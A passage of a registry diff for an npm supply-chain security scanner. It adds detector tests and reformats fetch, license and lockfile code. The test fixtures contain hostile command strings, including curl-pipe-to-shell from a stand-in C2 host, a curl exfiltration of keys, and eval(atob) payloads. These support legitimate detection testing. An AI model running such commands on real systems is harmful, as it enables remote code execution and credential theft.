@lateos/npm-scan 0.18.3 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (149) hide show
  1. package/CHANGELOG.md +32 -0
  2. package/README.md +864 -826
  3. package/VALIDATION.md +92 -0
  4. package/backend/cra.js +113 -21
  5. package/backend/db/pg-schema.sql +155 -0
  6. package/backend/db.js +18 -10
  7. package/backend/detectors/atk-001-lifecycle.js +5 -5
  8. package/backend/detectors/atk-002-obfusc.js +126 -47
  9. package/backend/detectors/atk-003-creds.js +8 -4
  10. package/backend/detectors/atk-004-persist.js +3 -3
  11. package/backend/detectors/atk-005-exfil.js +8 -4
  12. package/backend/detectors/atk-006-depconf.js +3 -3
  13. package/backend/detectors/atk-007-typosquat.js +64 -10
  14. package/backend/detectors/atk-008-tarball-tamper.js +6 -6
  15. package/backend/detectors/atk-009-dormant-trigger.js +9 -5
  16. package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
  17. package/backend/detectors/atk-011-transitive-prop.js +14 -13
  18. package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
  19. package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
  20. package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
  21. package/backend/detectors/axios-poisoning/index.js +77 -60
  22. package/backend/detectors/config/thresholds.js +111 -0
  23. package/backend/detectors/config/whitelist.json +74 -0
  24. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
  25. package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
  26. package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
  27. package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
  28. package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
  29. package/backend/detectors/hf-impersonation/index.js +94 -31
  30. package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
  31. package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
  32. package/backend/detectors/hf-impersonation/simhash.js +2 -2
  33. package/backend/detectors/index.js +184 -31
  34. package/backend/detectors/lib/ast-patterns.js +24 -0
  35. package/backend/detectors/lib/entropy-analyzer.js +32 -0
  36. package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
  37. package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
  38. package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
  39. package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
  40. package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
  41. package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
  42. package/backend/detectors/megalodon/index.js +35 -25
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
  49. package/backend/detectors/mini-shai-hulud/index.js +63 -26
  50. package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
  51. package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
  52. package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
  53. package/backend/detectors/msh-supplement/index.js +78 -63
  54. package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
  55. package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
  56. package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
  57. package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
  58. package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
  59. package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
  60. package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
  61. package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
  62. package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
  63. package/backend/detectors/node-ipc-compromise/index.js +21 -15
  64. package/backend/detectors/tier1-binary-embed.js +138 -41
  65. package/backend/detectors/tier1-cloud-imds.js +57 -37
  66. package/backend/detectors/tier1-encrypted-c2.js +198 -0
  67. package/backend/detectors/tier1-infostealer.js +121 -68
  68. package/backend/detectors/tier1-lifecycle-hook.js +63 -23
  69. package/backend/detectors/tier1-maintainer-compromise.js +157 -0
  70. package/backend/detectors/tier1-metadata-spoof.js +92 -42
  71. package/backend/detectors/tier1-multistage-postinstall.js +46 -19
  72. package/backend/detectors/tier1-obfuscation-heuristics.js +184 -0
  73. package/backend/detectors/tier1-self-propagation.js +115 -0
  74. package/backend/detectors/tier1-slsa-attestation.js +12 -0
  75. package/backend/detectors/tier1-transitive-deps.js +182 -0
  76. package/backend/detectors/tier1-typosquat.js +129 -50
  77. package/backend/detectors/tier1-version-anomaly.js +223 -0
  78. package/backend/detectors/tier1-version-confusion.js +79 -59
  79. package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
  80. package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
  81. package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
  82. package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
  83. package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
  84. package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
  85. package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
  86. package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
  87. package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
  88. package/backend/detectors/trapdoor/index.js +19 -14
  89. package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
  90. package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
  91. package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
  92. package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
  93. package/backend/detectors.test.js +147 -0
  94. package/backend/fetch.js +37 -29
  95. package/backend/index.js +1 -1
  96. package/backend/license.js +20 -4
  97. package/backend/lockfile.js +60 -36
  98. package/backend/pdf.js +107 -28
  99. package/backend/policy.js +183 -56
  100. package/backend/provenance.js +28 -3
  101. package/backend/report.js +136 -70
  102. package/backend/sbom.js +33 -27
  103. package/backend/scripts/analyze-false-positives.js +152 -0
  104. package/backend/scripts/analyze-validation.js +157 -0
  105. package/backend/scripts/detect-false-positives.js +103 -0
  106. package/backend/scripts/fetch-top-packages.js +277 -0
  107. package/backend/scripts/validate-d10-d13.js +103 -0
  108. package/backend/scripts/validate-detectors.js +151 -0
  109. package/backend/siem/cef.js +23 -21
  110. package/backend/siem/ecs.js +3 -3
  111. package/backend/siem/index.js +1 -1
  112. package/backend/siem/qradar.js +3 -3
  113. package/backend/siem/sentinel.js +2 -2
  114. package/backend/tests-d5-enhanced.test.js +47 -0
  115. package/backend/tests-d6-version-anomaly.test.js +67 -0
  116. package/backend/tests-d6.test.js +126 -0
  117. package/backend/tests-d6c.test.js +119 -0
  118. package/backend/tests-d7-obfuscation.test.js +88 -0
  119. package/backend/tests.test.js +997 -0
  120. package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
  121. package/backend/vsix-scan/detectors/burst-publish.js +14 -7
  122. package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
  123. package/backend/vsix-scan/detectors/known-ioc.js +23 -8
  124. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
  125. package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
  126. package/backend/vsix-scan/index.js +97 -41
  127. package/backend/vsix-scan/marketplace-client.js +29 -13
  128. package/cli/cli.js +154 -64
  129. package/package.json +36 -10
  130. package/.dockerignore +0 -20
  131. package/.husky/pre-commit +0 -1
  132. package/SECURITY.md +0 -73
  133. package/deploy/helm/npm-scan/Chart.yaml +0 -22
  134. package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
  135. package/deploy/helm/npm-scan/templates/api.yaml +0 -94
  136. package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
  137. package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
  138. package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
  139. package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
  140. package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
  141. package/deploy/helm/npm-scan/values.yaml +0 -103
  142. package/scripts/download-corpus.js +0 -30
  143. package/scripts/gen-mal-corpus.js +0 -35
  144. package/scripts/generate-campaign-fixtures.js +0 -170
  145. package/src/config/top-5000.json +0 -87
  146. package/test/fixtures/lockfiles/npm-lock.json +0 -69
  147. package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
  148. package/test/fixtures/lockfiles/yarn.lock +0 -104
  149. package/test/fixtures/mock-data.js +0 -69
@@ -0,0 +1,147 @@
1
+ import { test } from 'node:test';
2
+ import assert from 'assert/strict';
3
+ import * as detectors from './detectors/index.js';
4
+
5
+ test('detectors runAll empty', async () => {
6
+ const findings = await detectors.runAll({});
7
+ assert.equal(findings.length, 0);
8
+ });
9
+
10
+ test('ATK-001 detects preinstall', async () => {
11
+ const pkg = { scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' } };
12
+ const findings = await detectors.runAll(pkg);
13
+ assert(
14
+ findings.some((f) => f.id === 'ATK-001'),
15
+ 'Expected ATK-001'
16
+ );
17
+ });
18
+
19
+ test('ATK-002 detects eval+decode', async () => {
20
+ const files = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
21
+ const findings = await detectors.runAll({}, files);
22
+ assert(
23
+ findings.some((f) => f.id === 'ATK-002'),
24
+ 'Expected ATK-002'
25
+ );
26
+ });
27
+
28
+ test('ATK-003 detects cred env vars', async () => {
29
+ const files = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
30
+ const findings = await detectors.runAll({}, files);
31
+ assert(
32
+ findings.some((f) => f.id === 'ATK-003'),
33
+ 'Expected ATK-003'
34
+ );
35
+ });
36
+
37
+ test('ATK-004 detects editor persistence', async () => {
38
+ const files = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
39
+ const findings = await detectors.runAll({}, files);
40
+ assert(
41
+ findings.some((f) => f.id === 'ATK-004'),
42
+ 'Expected ATK-004'
43
+ );
44
+ });
45
+
46
+ test('ATK-005 detects network exfil', async () => {
47
+ const files = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
48
+ const findings = await detectors.runAll({}, files);
49
+ assert(
50
+ findings.some((f) => f.id === 'ATK-005'),
51
+ 'Expected ATK-005'
52
+ );
53
+ });
54
+
55
+ test('ATK-006 detects dep confusion', async () => {
56
+ const pkg = { dependencies: { 'acorn-squatter': '1.0.0' } };
57
+ const findings = await detectors.runAll(pkg);
58
+ assert(
59
+ findings.some((f) => f.id === 'ATK-006'),
60
+ 'Expected ATK-006'
61
+ );
62
+ });
63
+
64
+ test('ATK-007 detects typosquatting', async () => {
65
+ const pkg = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
66
+ const findings = await detectors.runAll(pkg);
67
+ assert(
68
+ findings.some((f) => f.id === 'ATK-007'),
69
+ 'Expected ATK-007 for loddsh'
70
+ );
71
+ });
72
+
73
+ test('ATK-008 detects tarball tampering', async () => {
74
+ const pkg = {
75
+ name: 'lodash',
76
+ repository: { url: 'https://github.com/attacker/lodash-evil.git' },
77
+ };
78
+ const findings = await detectors.runAll(pkg);
79
+ assert(
80
+ findings.some((f) => f.id === 'ATK-008'),
81
+ 'Expected ATK-008'
82
+ );
83
+ });
84
+
85
+ test('ATK-009 detects CI env trigger', async () => {
86
+ const files = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
87
+ const findings = await detectors.runAll({}, files);
88
+ assert(
89
+ findings.some((f) => f.id === 'ATK-009'),
90
+ 'Expected ATK-009'
91
+ );
92
+ });
93
+
94
+ test('ATK-010 detects sandbox evasion', async () => {
95
+ const files = [
96
+ { path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' },
97
+ ];
98
+ const findings = await detectors.runAll({}, files);
99
+ assert(
100
+ findings.some((f) => f.id === 'ATK-010'),
101
+ 'Expected ATK-010'
102
+ );
103
+ });
104
+
105
+ test('ATK-011 detects transitive propagation', async () => {
106
+ const files = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];
107
+ const findings = await detectors.runAll({}, files);
108
+ assert(
109
+ findings.some((f) => f.id === 'ATK-011'),
110
+ 'Expected ATK-011'
111
+ );
112
+ });
113
+
114
+ test('no false positives on clean package', async () => {
115
+ const pkg = {
116
+ name: 'test-pkg',
117
+ version: '1.0.0',
118
+ scripts: { test: 'node test.js' },
119
+ dependencies: { express: '4.0.0' },
120
+ };
121
+ const files = [{ path: 'index.js', content: 'module.exports = function() { return 42 }' }];
122
+ const findings = await detectors.runAll(pkg, files);
123
+ const highCrit = findings.filter((f) => f.severity === 'high' || f.severity === 'critical');
124
+ assert.equal(
125
+ highCrit.length,
126
+ 0,
127
+ `Expected no high/crit findings on clean pkg: ${JSON.stringify(highCrit)}`
128
+ );
129
+ });
130
+
131
+ test('all 11 ATK IDs present', async () => {
132
+ const _expected = [
133
+ 'ATK-001',
134
+ 'ATK-002',
135
+ 'ATK-003',
136
+ 'ATK-004',
137
+ 'ATK-005',
138
+ 'ATK-006',
139
+ 'ATK-007',
140
+ 'ATK-008',
141
+ 'ATK-009',
142
+ 'ATK-010',
143
+ 'ATK-011',
144
+ ];
145
+ const exports = Object.keys(detectors);
146
+ assert.equal(exports.includes('runAll'), true);
147
+ });
package/backend/fetch.js CHANGED
@@ -9,19 +9,23 @@ import { pipeline } from 'stream/promises';
9
9
  export async function fetchPackage(target, options = {}) {
10
10
  const { cacheDir, cacheTTL = 604800, cacheMaxSize = 1000000000 } = options;
11
11
  let name, version;
12
-
12
+
13
13
  if (target.startsWith('@')) {
14
14
  const lastAt = target.lastIndexOf('@');
15
15
  name = target.slice(0, lastAt);
16
16
  version = target.slice(lastAt + 1);
17
- if (!version) version = undefined;
17
+ if (!version) {
18
+ version = undefined;
19
+ }
18
20
  } else {
19
21
  const idx = target.indexOf('@');
20
22
  name = idx > -1 ? target.slice(0, idx) : target;
21
23
  version = idx > -1 ? target.slice(idx + 1) : undefined;
22
24
  }
23
-
24
- const endpoint = version ? `/${encodeURIComponent(name)}/${version}` : `/${encodeURIComponent(name)}/latest`;
25
+
26
+ const endpoint = version
27
+ ? `/${encodeURIComponent(name)}/${version}`
28
+ : `/${encodeURIComponent(name)}/latest`;
25
29
 
26
30
  if (cacheDir) {
27
31
  const cached = getFromCache(cacheDir, target, cacheTTL);
@@ -41,7 +45,9 @@ export async function fetchPackage(target, options = {}) {
41
45
  const tarUrl = meta.dist.tarball;
42
46
  const tarRes = await fetch(tarUrl);
43
47
  const buffer = Buffer.from(await tarRes.arrayBuffer());
44
- if (buffer.length > 500 * 1024 * 1024) throw new Error('Tarball too large');
48
+ if (buffer.length > 500 * 1024 * 1024) {
49
+ throw new Error('Tarball too large');
50
+ }
45
51
 
46
52
  // Save to cache if enabled
47
53
  if (cacheDir) {
@@ -55,19 +61,21 @@ export async function fetchPackage(target, options = {}) {
55
61
  function getFromCache(cacheDir, target, ttl) {
56
62
  const cachePath = path.join(cacheDir, `${target.replace('/', '-')}.tgz`);
57
63
  const metaPath = path.join(cacheDir, `${target.replace('/', '-')}.meta.json`);
58
-
64
+
59
65
  try {
60
- if (!fs.existsSync(cachePath) || !fs.existsSync(metaPath)) return null;
61
-
66
+ if (!fs.existsSync(cachePath) || !fs.existsSync(metaPath)) {
67
+ return null;
68
+ }
69
+
62
70
  const meta = JSON.parse(fs.readFileSync(metaPath, 'utf8'));
63
71
  const age = (Date.now() - meta.timestamp) / 1000;
64
-
72
+
65
73
  if (age > ttl) {
66
74
  fs.unlinkSync(cachePath);
67
75
  fs.unlinkSync(metaPath);
68
76
  return null;
69
77
  }
70
-
78
+
71
79
  return fs.readFileSync(cachePath);
72
80
  } catch {
73
81
  return null;
@@ -79,27 +87,27 @@ function saveToCache(cacheDir, target, buffer, ttl, maxSize) {
79
87
  if (!fs.existsSync(cacheDir)) {
80
88
  fs.mkdirSync(cacheDir, { recursive: true });
81
89
  }
82
-
90
+
83
91
  // Prune if needed
84
92
  pruneCache(cacheDir, maxSize);
85
-
93
+
86
94
  const safeName = target.replace('/', '-');
87
95
  const cachePath = path.join(cacheDir, `${safeName}.tgz`);
88
96
  const metaPath = path.join(cacheDir, `${safeName}.meta.json`);
89
-
97
+
90
98
  fs.writeFileSync(cachePath, buffer);
91
99
  fs.writeFileSync(metaPath, JSON.stringify({ timestamp: Date.now(), size: buffer.length }));
92
- } catch (e) {
100
+ } catch {
93
101
  // Cache write failure - continue without caching
94
102
  }
95
103
  }
96
104
 
97
105
  function pruneCache(cacheDir, maxSize) {
98
106
  try {
99
- const files = fs.readdirSync(cacheDir).filter(f => f.endsWith('.meta.json'));
107
+ const files = fs.readdirSync(cacheDir).filter((f) => f.endsWith('.meta.json'));
100
108
  let totalSize = 0;
101
109
  const fileInfos = [];
102
-
110
+
103
111
  for (const f of files) {
104
112
  const meta = JSON.parse(fs.readFileSync(path.join(cacheDir, f), 'utf8'));
105
113
  const tarFile = f.replace('.meta.json', '.tgz');
@@ -107,17 +115,21 @@ function pruneCache(cacheDir, maxSize) {
107
115
  totalSize += size;
108
116
  fileInfos.push({ tarFile, metaFile: f, timestamp: meta.timestamp, size });
109
117
  }
110
-
118
+
111
119
  if (totalSize > maxSize) {
112
120
  // Sort by oldest first and remove until under limit
113
121
  fileInfos.sort((a, b) => a.timestamp - b.timestamp);
114
122
  for (const info of fileInfos) {
115
- if (totalSize <= maxSize * 0.8) break; // Leave 20% margin
123
+ if (totalSize <= maxSize * 0.8) {
124
+ break;
125
+ } // Leave 20% margin
116
126
  try {
117
127
  fs.unlinkSync(path.join(cacheDir, info.tarFile));
118
128
  fs.unlinkSync(path.join(cacheDir, info.metaFile));
119
129
  totalSize -= info.size;
120
- } catch {}
130
+ } catch {
131
+ /* ignore file errors */
132
+ }
121
133
  }
122
134
  }
123
135
  } catch {
@@ -135,24 +147,20 @@ async function extractTarball(buffer, tmpDir) {
135
147
  fs.mkdirSync(tmpDir, { recursive: true });
136
148
 
137
149
  const stream = Readable.from(buffer);
138
- await pipeline(
139
- stream,
140
- zlib.createGunzip(),
141
- extract({ cwd: tmpDir, strip: 1 })
142
- );
150
+ await pipeline(stream, zlib.createGunzip(), extract({ cwd: tmpDir, strip: 1 }));
143
151
 
144
152
  const pkgPath = path.join(tmpDir, 'package.json');
145
153
  const pkgJsonStr = fs.readFileSync(pkgPath, 'utf8');
146
154
  const pkgJson = JSON.parse(pkgJsonStr);
147
155
 
148
- const jsFiles = walkFiles(tmpDir, '.js').map(p => ({
156
+ const jsFiles = walkFiles(tmpDir, '.js').map((p) => ({
149
157
  path: p,
150
- content: fs.readFileSync(p, 'utf8')
158
+ content: fs.readFileSync(p, 'utf8'),
151
159
  }));
152
160
 
153
- const allFiles = walkFiles(tmpDir, '').map(p => ({
161
+ const allFiles = walkFiles(tmpDir, '').map((p) => ({
154
162
  path: p,
155
- content: fs.readFileSync(p, 'utf8')
163
+ content: fs.readFileSync(p, 'utf8'),
156
164
  }));
157
165
 
158
166
  return { pkgJson, jsFiles, allFiles, tmpDir };
@@ -173,4 +181,4 @@ function walkFiles(dir, ext) {
173
181
 
174
182
  export function cleanup(tmpDir) {
175
183
  fs.rmSync(tmpDir, { recursive: true, force: true });
176
- }
184
+ }
package/backend/index.js CHANGED
@@ -1,4 +1,4 @@
1
1
  export default {
2
2
  version: '0.1.0',
3
- description: 'npm-scan - Supply chain security for npm'
3
+ description: 'npm-scan - Supply chain security for npm',
4
4
  };
@@ -5,7 +5,19 @@ const HMAC_KEY = process.env.NPM_SCAN_LICENSE_SECRET || 'npm-scan-default-dev-ke
5
5
  const FEATURE_TIERS = {
6
6
  community: [],
7
7
  premium: ['sandbox', 'siem', 'cra', 'nist-pdf', 'rest-api', 'webhooks', 'helm'],
8
- enterprise: ['sandbox', 'siem', 'cra', 'nist-pdf', 'rest-api', 'webhooks', 'helm', 'sso', 'audit-logs', 'pg-backend', 'kubernetes'],
8
+ enterprise: [
9
+ 'sandbox',
10
+ 'siem',
11
+ 'cra',
12
+ 'nist-pdf',
13
+ 'rest-api',
14
+ 'webhooks',
15
+ 'helm',
16
+ 'sso',
17
+ 'audit-logs',
18
+ 'pg-backend',
19
+ 'kubernetes',
20
+ ],
9
21
  };
10
22
 
11
23
  const ALL_FEATURES = Object.values(FEATURE_TIERS).flat();
@@ -70,7 +82,9 @@ export function validateLicense(key, feature = '*') {
70
82
  }
71
83
 
72
84
  if (feature !== '*' && !allowed.includes(feature) && !ALLOWED_UNLOCKED.includes(feature)) {
73
- throw new Error(`Feature "${feature}" requires ${edition === 'community' ? 'premium' : 'enterprise'} license`);
85
+ throw new Error(
86
+ `Feature "${feature}" requires ${edition === 'community' ? 'premium' : 'enterprise'} license`
87
+ );
74
88
  }
75
89
 
76
90
  return { edition, features: allowed, ...payload };
@@ -80,11 +94,13 @@ export function isFeatureEnabled(feature, licenseKey = process.env.NPM_SCAN_LICE
80
94
  try {
81
95
  if (!licenseKey) {
82
96
  const unlocked = feature === 'scan' || ALLOWED_UNLOCKED.includes(feature);
83
- if (unlocked) return true;
97
+ if (unlocked) {
98
+ return true;
99
+ }
84
100
  }
85
101
  validateLicense(licenseKey, feature);
86
102
  return true;
87
103
  } catch {
88
104
  return false;
89
105
  }
90
- }
106
+ }
@@ -1,5 +1,5 @@
1
1
  import { readFileSync } from 'fs';
2
- import { resolve, dirname } from 'path';
2
+ import { resolve as _resolve, dirname as _dirname } from 'path';
3
3
  import yaml from 'js-yaml';
4
4
 
5
5
  export function parseLockfile(filePath, options = {}) {
@@ -32,17 +32,19 @@ export function parseLockfile(filePath, options = {}) {
32
32
 
33
33
  return parseNpmLockfile(content, filePath);
34
34
  } catch (e) {
35
- throw new Error(`Failed to parse lockfile: ${e.message}`);
35
+ throw new Error(`Failed to parse lockfile: ${e.message}`, { cause: e });
36
36
  }
37
37
  }
38
38
 
39
- function parseNpmLockfile(content, filePath) {
39
+ function parseNpmLockfile(content, _filePath) {
40
40
  const lockfile = JSON.parse(content);
41
41
  const packages = [];
42
42
 
43
43
  if (lockfile.packages) {
44
44
  for (const [key, pkg] of Object.entries(lockfile.packages)) {
45
- if (key === '') continue;
45
+ if (key === '') {
46
+ continue;
47
+ }
46
48
  const name = pkg.name || key.replace(/^node_modules\//, '').replace(/^[^/]+\//, '');
47
49
  packages.push({
48
50
  name,
@@ -54,7 +56,7 @@ function parseNpmLockfile(content, filePath) {
54
56
  dev: pkg.dev || false,
55
57
  optional: pkg.optional || false,
56
58
  scripts: pkg.scripts || {},
57
- dependencies: pkg.dependencies || {}
59
+ dependencies: pkg.dependencies || {},
58
60
  });
59
61
  }
60
62
  }
@@ -68,22 +70,23 @@ function parseNpmLockfile(content, filePath) {
68
70
  version: rootDeps.version || 'unknown',
69
71
  dependencies: rootDeps.dependencies || {},
70
72
  devDependencies: rootDeps.devDependencies || {},
71
- peerDependencies: rootDeps.peerDependencies || {}
72
- }
73
+ peerDependencies: rootDeps.peerDependencies || {},
74
+ },
73
75
  };
74
76
  }
75
77
 
76
- function parseYarnLockfile(content, filePath) {
78
+ function parseYarnLockfile(content, _filePath) {
77
79
  const packages = [];
78
80
  const lines = content.split('\n');
79
81
  let i = 0;
80
82
  const n = lines.length;
81
83
 
82
- const MULTI_ENTRY_RE = /^"?([\w@./-]+)@(\^?[\w.+\-~]+)"?\s*,\s*"?([\w@./-]+)@(\^?[\w.+\-~]+)"?\s*:\s*$/;
84
+ const MULTI_ENTRY_RE =
85
+ /^"?([\w@./-]+)@(\^?[\w.+\-~]+)"?\s*,\s*"?([\w@./-]+)@(\^?[\w.+\-~]+)"?\s*:\s*$/;
83
86
  const SINGLE_ENTRY_RE = /^"?([\w@./-]+)@(\^?[\w.+\-~]+)"?\s*:\s*$/;
84
87
 
85
88
  while (i < n) {
86
- let line = lines[i].trimEnd();
89
+ const line = lines[i].trimEnd();
87
90
 
88
91
  let specs = [];
89
92
 
@@ -93,7 +96,7 @@ function parseYarnLockfile(content, filePath) {
93
96
  if (multiMatch) {
94
97
  specs = [
95
98
  { name: multiMatch[1], specVersion: multiMatch[2] },
96
- { name: multiMatch[3], specVersion: multiMatch[4] }
99
+ { name: multiMatch[3], specVersion: multiMatch[4] },
97
100
  ];
98
101
  } else if (singleMatch) {
99
102
  specs = [{ name: singleMatch[1], specVersion: singleMatch[2] }];
@@ -125,26 +128,37 @@ function parseYarnLockfile(content, filePath) {
125
128
 
126
129
  if (bodyTrim.startsWith('version ')) {
127
130
  const vMatch = bodyTrim.match(/^version ['"]([^'"]+)['"]/);
128
- if (vMatch) version = vMatch[1];
131
+ if (vMatch) {
132
+ version = vMatch[1];
133
+ }
129
134
  } else if (bodyTrim.match(/^\s*resolved\s+(.+)/)) {
130
135
  const rMatch = bodyTrim.match(/^\s*resolved\s+(.+)/);
131
136
  if (rMatch) {
132
137
  resolved = rMatch[1].trim().replace(/^['"]|['"]$/g, '');
133
138
  if (resolved.startsWith('https://registry.yarnpkg.com/')) {
134
- resolved = resolved.replace('https://registry.yarnpkg.com/', 'https://registry.npmjs.org/');
139
+ resolved = resolved.replace(
140
+ 'https://registry.yarnpkg.com/',
141
+ 'https://registry.npmjs.org/'
142
+ );
135
143
  }
136
144
  }
137
145
  } else if (bodyTrim.startsWith('integrity ')) {
138
146
  integrity = bodyTrim.replace('integrity ', '').trim();
139
147
  } else if (bodyTrim.startsWith('dependencies')) {
140
148
  const m = bodyTrim.match(/^dependencies\s+(.*)/);
141
- if (m) parseDepList(m[1], dependencies);
149
+ if (m) {
150
+ parseDepList(m[1], dependencies);
151
+ }
142
152
  } else if (bodyTrim.startsWith('optionalDependencies')) {
143
153
  const m = bodyTrim.match(/^optionalDependencies\s+(.*)/);
144
- if (m) parseDepList(m[1], optionalDependencies);
154
+ if (m) {
155
+ parseDepList(m[1], optionalDependencies);
156
+ }
145
157
  } else if (bodyTrim.startsWith('peerDependencies')) {
146
158
  const m = bodyTrim.match(/^peerDependencies\s+(.*)/);
147
- if (m) parseDepList(m[1], peerDependencies);
159
+ if (m) {
160
+ parseDepList(m[1], peerDependencies);
161
+ }
148
162
  } else if (bodyTrim.match(/^\s*dev\s+(true|false)$/)) {
149
163
  dev = bodyTrim.includes('true');
150
164
  } else if (bodyTrim.match(/^\s*optional\s+(true|false)$/)) {
@@ -166,7 +180,7 @@ function parseYarnLockfile(content, filePath) {
166
180
  optional,
167
181
  scripts: {},
168
182
  dependencies,
169
- optionalDependencies
183
+ optionalDependencies,
170
184
  });
171
185
  }
172
186
  } else {
@@ -192,14 +206,16 @@ function parseYarnLockfile(content, filePath) {
192
206
  version: 'unknown',
193
207
  dependencies: rootDeps,
194
208
  devDependencies: rootDevDeps,
195
- peerDependencies: {}
196
- }
209
+ peerDependencies: {},
210
+ },
197
211
  };
198
212
  }
199
213
 
200
214
  function parseDepList(str, dest) {
201
215
  const cleaned = str.replace(/^[[\]]/g, '').trim();
202
- if (!cleaned) return;
216
+ if (!cleaned) {
217
+ return;
218
+ }
203
219
  const re = /([\w@./-]+)\s+\^?([\w@./-]+)/g;
204
220
  let m;
205
221
  while ((m = re.exec(cleaned)) !== null) {
@@ -207,14 +223,16 @@ function parseDepList(str, dest) {
207
223
  }
208
224
  }
209
225
 
210
- function parsePnpmLockfile(content, filePath) {
226
+ function parsePnpmLockfile(content, _filePath) {
211
227
  const lockfile = yaml.load(content);
212
228
  const packages = [];
213
229
 
214
230
  if (lockfile.packages) {
215
231
  for (const [key, pkg] of Object.entries(lockfile.packages)) {
216
232
  const nameMatch = key.match(/^\/(.+?)@([^@/]+)$/);
217
- if (!nameMatch) continue;
233
+ if (!nameMatch) {
234
+ continue;
235
+ }
218
236
  const name = nameMatch[1];
219
237
  const version = nameMatch[2];
220
238
 
@@ -237,7 +255,7 @@ function parsePnpmLockfile(content, filePath) {
237
255
  optional: pkg.optional || false,
238
256
  scripts: pkg.hasBundledMedia ? { bundled: true } : {},
239
257
  dependencies: pkg.dependencies || {},
240
- optionalDependencies: pkg.optionalDependencies || {}
258
+ optionalDependencies: pkg.optionalDependencies || {},
241
259
  });
242
260
  }
243
261
  }
@@ -257,8 +275,8 @@ function parsePnpmLockfile(content, filePath) {
257
275
  version: lockfile.lockfileVersion ? 'unknown' : 'unknown',
258
276
  dependencies: rootDepsMap,
259
277
  devDependencies: rootDevDepsMap,
260
- peerDependencies: rootPeerDepsMap
261
- }
278
+ peerDependencies: rootPeerDepsMap,
279
+ },
262
280
  };
263
281
  }
264
282
 
@@ -282,7 +300,7 @@ export function checkMaliciousPatterns(pkg) {
282
300
  severity: 'high',
283
301
  title: 'Typosquat detected',
284
302
  description: `Package name "${pkg.name}" is similar to popular packages`,
285
- evidence: `similar to ${pattern.source}`
303
+ evidence: `similar to ${pattern.source}`,
286
304
  });
287
305
  }
288
306
  }
@@ -307,21 +325,25 @@ export function analyzeDependencyGraph(lockfileData) {
307
325
  severity: 'high',
308
326
  title: 'Transitive propagation (worm)',
309
327
  description: `Package "${pkg.name}" depends on peer "${peerName}@${peerVersion}" - potential worm propagation chain`,
310
